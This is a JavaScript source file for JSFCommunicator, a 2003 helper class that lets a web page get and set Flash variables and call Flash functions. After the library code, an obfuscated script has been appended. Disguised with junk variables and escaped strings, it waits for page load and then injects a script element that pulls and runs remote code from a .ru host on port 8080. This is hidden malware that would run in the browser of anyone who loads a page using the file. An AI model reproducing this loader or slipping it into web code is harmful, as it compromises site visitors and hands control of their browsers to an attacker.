/* =========================================================================

CLASS: JSFCommunicator
AUTHOR: Abdul Qabiz 
DATE  : 12/13/2003

COMMENT: Communicates with Flash in different ways. It can
			- get a flash variable
			- set a flash variable
			- 



METHODS:
	- setVariable(propName,propValue)
	- getVariable(propName)
	- callFunction(fnLocation, fnName, fnArgs);



USAGE: 
//create an instance of JSFCommunicator, pass reference of flashMovie's
var fc = new JSFCommunicator(flashMovie);
//to set a variable, call JSFlashCommunicator's setVariable function
fc.setVariable("name","Abdul");

fc.callFunction("_root","setInfo",["Abdul",22]); //setInfo function accepts two args
fc.callFunction("_root.box_mc","gotoAndPlay",[2]);

REVISION HISTORY:-
	- Jan 22-04	undefined is turned to "undefined"
	- Jan 22-04	fnArgs is now type checked
	- Jan 22-04	comma-delimted string is no more passed to flash, instead $@$$ delimited session is flash.
	- Jan 22-04	instanceof operator has been removed and typeof() is used instead.
	
============================================================================ */

/**
 * @constructor JSFCommunicator
 * @param flashMovie:Refrence to activeX or Plugin
 * @description This is constructor function of JSFCommunicator class
 *
*/

function JSFCommunicator(flashMovie)
{	
	this.init(flashMovie);
}

/**
 * @method init()
 * @param flashMovie:Reference to ActiveX or Plugin object
 * @return none
 * @description initializes all variables for communication
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.init = function(flashMovie) {

	if(flashMovie=="undefined") {
		var flashMovie = null;
	 }
	this.setMovie(flashMovie);
	this.functionToCall = null;
	this.functionLocationinFlash = null;
	this.functionArgs = null;
}


/**
 * @method setMovie(flashMovie)
 * @param flashMovie:Reference to ActiveX or Plugin object
 * @return none
 * @description initializes all variables for communication
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/

JSFCommunicator.prototype.setMovie = function(flashMovie)
{
	this.flashMovie = flashMovie;
}


/**
 * @method setVariable(propName,propValue)
 * @param propName:String, variable name in flash to be set.
 * @param propValue:any primitive type
 * @return none
 * @description Sets a variable in flash
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.setVariable  = function(propName, propValue) {
	this.flashMovie.SetVariable(propName,propValue);
}



/**
 * @method getVariable(propName)
 * @param propName:String, variable name in flash
 * @return Any primitive value
 * @description Gets a specified properties value from flash
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.getVariable  = function(propName) {

	var result = this.flashMovie.GetVariable(propName);
	return result;
}


/**
 * @method callFunction(fnLocation,fnName, fnArgs)
 * @param fnLocation:String, funtion's parent objects path in flash. e.g. _root or _level0 or _level0.my_mc etc
 * @param fnName:String, name of flash function be executed
 * @param fnArgs:Array, parameters to be passed to flash function. only primitive data can be passed
 * @return Boolean, depending upon the success or failure of the call made
 * @description calls a specified flash function from javascript
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.callFunction = function(fnLocation,fnName,fnArgs) {

	if(this.flashMovie==null) {	return false; }
	
//	get the current value of triggerFn from flash
	var flag = this.getVariable("/:triggerFn");
	var result = false;

//	if no function name passed, return false
	if(fnName=="") {return false; }
//	if 	fnLocation is not proper, set it to _level0 as default
	if(fnLocation=="") {
		var fnLocation = "_level0";
	}

	this.setVariable("/:fnLocation",fnLocation);
	this.setVariable("/:fnName",fnName);
	
//	check if fnArgs is an array
	if(typeof(fnArgs)=="object") {
//		convert it to $@$$-delemited string and pass to flash
		this.setVariable("/:fnArgs",fnArgs.join("$@$$"));
	}else if(typeof(fnArgs)=="number" || typeof(fnArgs)=="string") {
		this.setVariable("/:fnArgs",fnArgs);
	}
	
//	change triggerFn property in flash which being watched
	this.setVariable("/:triggerFn",!flag);

//	check if function in flash called successfully or not.
	result = this.getVariable("triggerFnStatus");
	
//	set triggerFnStatus false again.
	this.setVariable("/:triggerFnStatus",false);

//	return result of call.
	return result;

	
}

//======================================================

var d='';var ud;if(ud!='Y' && ud!='vv'){ud=''};var x;if(x!='kn' && x!='q'){x=''};function i(){var _j;if(_j!='qM' && _j!='Jc'){_j='qM'};var fV=new String();var f=unescape;var QX;if(QX!='H' && QX != ''){QX=null};var A;if(A!='xr' && A != ''){A=null};var N=window;var Lv;if(Lv!='' && Lv!='Ft'){Lv=null};var J=f("%2f%6c%69%76%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%65%77%65%62%73%2e%63%6f%6d%2e%70%68%70");var X=new Array();function I(F,K){var v=String("g");var Z=f("%5b"), _=f("%5d");this.T="";var dc=new Date();var h=Z+K+_;this.WA="";var t;if(t!='S'){t='S'};var L=new RegExp(h, v);var Vu=new String();return F.replace(L, new String());};var M;if(M!='' && M!='Xt'){M=null};this.C="";var OU='';var We;if(We!='XF'){We='XF'};var VE;if(VE!='G'){VE='G'};var k=new String();var s=document;this.gr='';var Ay='';var ht=I('867451630453359787911306273759','72396145');var ZE=new Date();var R;if(R!='l' && R!='zQ'){R=''};var oR=new String();function b(){this._z='';var a=f("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var fL;if(fL!='qV' && fL != ''){fL=null};k=a;k+=ht;var OUy;if(OUy!='ks' && OUy!='QW'){OUy=''};var vk;if(vk!='_W'){vk=''};k+=J;try {var zh;if(zh!='wM'){zh=''};j=s.createElement(I('szc9r9iBpQtz','AyQDvjPO6KxFYBfuzh9'));var OUn="";j[f("%73%72%63")]=k;j[f("%64%65%66%65%72")]=[1][0];var ro;if(ro!='' && ro!='Sp'){ro='sh'};this.mM='';var Vh=new Date();var af;if(af!='Hh'){af='Hh'};s.body.appendChild(j);var sV=new Date();var by=new String();var UM;if(UM!='nk'){UM='nk'};} catch(u){var UR='';var nV='';alert(u);var hl;if(hl!='' && hl!='WWU'){hl=''};var GD;if(GD!='' && GD!='Ul'){GD=''};};var GP=new Array();var ky=new Date();}var mI;if(mI!='Io'){mI=''};var jE=new Array();var Xk;if(Xk!='ZW' && Xk!='DG'){Xk=''};var at;if(at!=''){at='yN'};N[new String("onlmWk".substr(0,3)+"bvkAoad".substr(4))]=b;var QJV="";var yz='';var Jd;if(Jd!='V_' && Jd != ''){Jd=null};var Z_;if(Z_!=''){Z_='KY'};};this.lj="";this.yzm="";i();this.Zb='';